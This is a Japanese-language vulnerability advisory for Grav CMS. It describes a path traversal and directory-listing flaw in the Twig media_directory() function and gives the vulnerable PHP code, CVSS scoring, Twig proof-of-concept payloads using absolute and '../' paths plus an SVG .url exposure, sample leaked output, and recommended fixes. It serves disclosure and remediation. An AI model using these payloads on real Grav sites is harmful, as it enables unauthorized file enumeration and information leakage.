
media_directory() による任意ディレクトリ情報漏えい名前: CYBER-SEC
連絡先: [email protected]
Grav の Twig 関数 media_directory() は、ページコンテンツの Twig サンドボックス許可リスト内で公開されていますが、ストリーム以外の入力に対するパス封じ込めが適切に強制されていません。
ページ編集権限を持つ認証済みユーザーは、Twig が有効なページコンテンツ内で media_directory('/absolute/path') を呼び出したり、media_directory('../../../../path') のような相対トラバーサルを使用したりできます。Grav はその後、Web サーバーユーザーが読み取り可能なディレクトリからメディアタイプのファイルをインデックス化します。
返された Medium オブジェクトは、filepath や filename などのサンドボックス許可プロパティを公開するため、任意のディレクトリ列挙と絶対ファイルシステムパスの漏えいが発生します。画像/SVG ファイルの場合、URL またはキャッシュ生成により、Grav の公開キャッシュ処理を通じてファイルが公開される可能性があります。
これは認証済みの情報漏えい脆弱性です。認証なしでの悪用や直接的なリモートコード実行は可能ではないと認識されています。
製品: Grav フラットファイル CMS
リポジトリ: https://github.com/getgrav/grav
影響を受けることを確認したバージョン: 2.0.3、2.0.4、2.0.6
コンポーネント: Twig media_directory() / Grav ページコンテンツ Twig サンドボックス
ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
基本スコア: 6.5 Medium
脆弱なシンクは以下にあります:
system/src/Grav/Common/Twig/Extension/GravExtension.php
関連するロジック:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
stream:// 入力のみが Grav のロケーターを通じて解決されます。ストリーム以外の絶対パスまたは相対パスは、正規の realpath() 検証、トラバーサル拒否、または承認された Grav 管理ディレクトリへの封じ込めなしに、そのまま new Media($media_dir) に渡されます。
この関数は、ページコンテンツの Twig サンドボックス許可リストを通じて公開されています:
system/config/security.yaml
allowed_functions:
- media_directory
サンドボックスはまた、以下のような Medium メソッド/プロパティも許可しています:
filepath
filename
url
cache
resize
これにより、認証済みのページ編集者が、任意の読み取り可能なディレクトリからファイル名と絶対パスを漏えいさせることができます。画像/SVG ファイルの場合、公開 URL/キャッシュ生成によりファイルコンテンツが公開される可能性があります。
Twig コンテンツ処理が有効な状態で、Grav ページを作成または編集し、以下を挿入します:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
トラバーサル形式:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
画像/SVG 公開の例:
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}
ページが保存されレンダリングされると、Grav は攻撃者が制御するパスからファイルをインデックス化し、ファイル名と絶対ファイルシステムパスを公開します。
linuxserver/grav:latest Docker イメージを使用して Grav 2.0.6 に対して検証済みです。
観察された結果には以下が含まれます:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
相対トラバーサルも確認されました:
../../../../app/www/public
.url による SVG ファイルの公開も、管理されたローカルテスト環境で確認されました。
認証済みのページ編集者は以下を行うことができます:
この脆弱性は情報漏えいクラスであり、リモートコード実行として報告すべきではありません。
推奨される修正:
media_directory を削除する。または:
media_directory() に厳格な正規パス封じ込めを適用する:realpath() を使用してすべてのパスを解決する。user://pages、user://images、またはその他明示的に承認されたメディアディレクトリなどの安全なルートのみを許可する。この問題は CYBER-SEC によって報告されました。